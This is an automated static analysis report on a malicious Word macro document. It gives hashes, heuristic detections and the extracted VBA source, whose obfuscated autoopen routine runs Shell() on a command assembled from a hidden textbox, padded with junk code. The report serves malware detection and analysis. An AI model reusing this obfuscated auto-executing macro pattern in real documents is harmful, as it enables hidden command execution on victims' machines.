Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7736b53d5ffe323e…

MALICIOUS

Office (OLE)

143.2 KB Created: 2018-12-20 21:11:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: af76c89e8bcbee26ee8cdc49b01a6a77 SHA-1: 9035e70e6c2f0ab8b545e2c5d33e26849e031666 SHA-256: 7736b53d5ffe323e98c75ce8d5d129b2a503c31773d0b07446acbd73bf006f44
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers a call to the Shell() function, which is a critical finding. This indicates the macro is designed to execute arbitrary commands, likely to download and run a second-stage payload. The specific command executed is obfuscated but involves a call to Shell() with a string that includes 's66286461987.TextBox1', suggesting interaction with a document element.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6791456-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6791456-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5339 bytes
SHA-256: 668c68c469c702a6546c36318bc13110fc789fafeea9728579064c3671c6452f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "s66286461987"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
H1284181
End Sub

Attribute VB_Name = "s1673518"
Function H1284181()
On Error Resume Next
    a2142 = i5659
         Q488 = T899

Select Case j827975396050796656
           Case 334291733
         z5327 = D1002
         D5335 = z046
           H951 = CByte(j9349 / CByte(k3962))
         Case 7770838
         L068 = v2641
         h165 = F336
      End Select
 Q289 = Y814
         z0626 = S3594

    F8297 = d828
         v1383 = K429

Select Case z57572869031804
           Case 86819529
         V6131 = F7980
         p760 = n822
           U169 = CByte(i168 / CByte(s7068))
         Case 270433855
         b6885 = L1471
         J7141 = A739
      End Select
 c401 = G802
         s265 = z3487

    T620 = O5871
         B128 = Z229

Select Case o38376226910553
           Case 142973655
         L918 = H4567
         M641 = N7457
           k471 = CByte(B178 / CByte(i103))
         Case 276069445
         N149 = u891
         z1290 = o0282
      End Select
 z440 = q6648
         z431 = M9681

t79132839 = Array(M9990655, E2585595, z87815922, Interaction.Shell(("" + v672543 + T81593650 + V7131959 + s66286461987.TextBox1) + r41076 + w994288 + N131643 + a41794, 75 - 75), t650527, G74542, D46616776)
    b8605 = r140
         u5528 = c112

Select Case d61978844523651718
           Case 162746389
         W839 = n0229
         o423 = v6414
           j282 = CByte(o7554 / CByte(j0833))
         Case 332200710
         q6264 = u421
         c5525 = E189
      End Select
 Z748 = k358
         c4389 = s436

    k2833 = l5345
         d2088 = p4637

Select Case w1144182866089903
           Case 198065376
         m2614 = t379
         Q5564 = Z422
           R8060 = CByte(w791 / CByte(M0151))
         Case 228635730
         Y9241 = B526
         Y0582 = l1859
      End Select
 u184 = a592
         V7451 = l6695

    N159 = i090
         t505 = m1268

Select Case B149867866420550863612
           Case 312928480
         S7186 = d7373
         C062 = G576
           z129 = CByte(i426 / CByte(G5615))
         Case 301960019
         t170 = J598
         H307 = T171
      End Select
 o4041 = R965
         j517 = q4897

End Function


Attribute VB_Name = "b59380957"

Attribute VB_Name = "P308087676"

Attribute VB_Name = "j9043010976"

Attribute VB_Name = "j3220019286896"

Attribute VB_Name = "b8781248775665"

Attribute VB_Name = "J036548696615"

Attribute VB_Name = "T0249018695"

Attribute VB_Name = "W4819694642"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "u6734232"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "E8823871951"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "n17061592"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


... (truncated)

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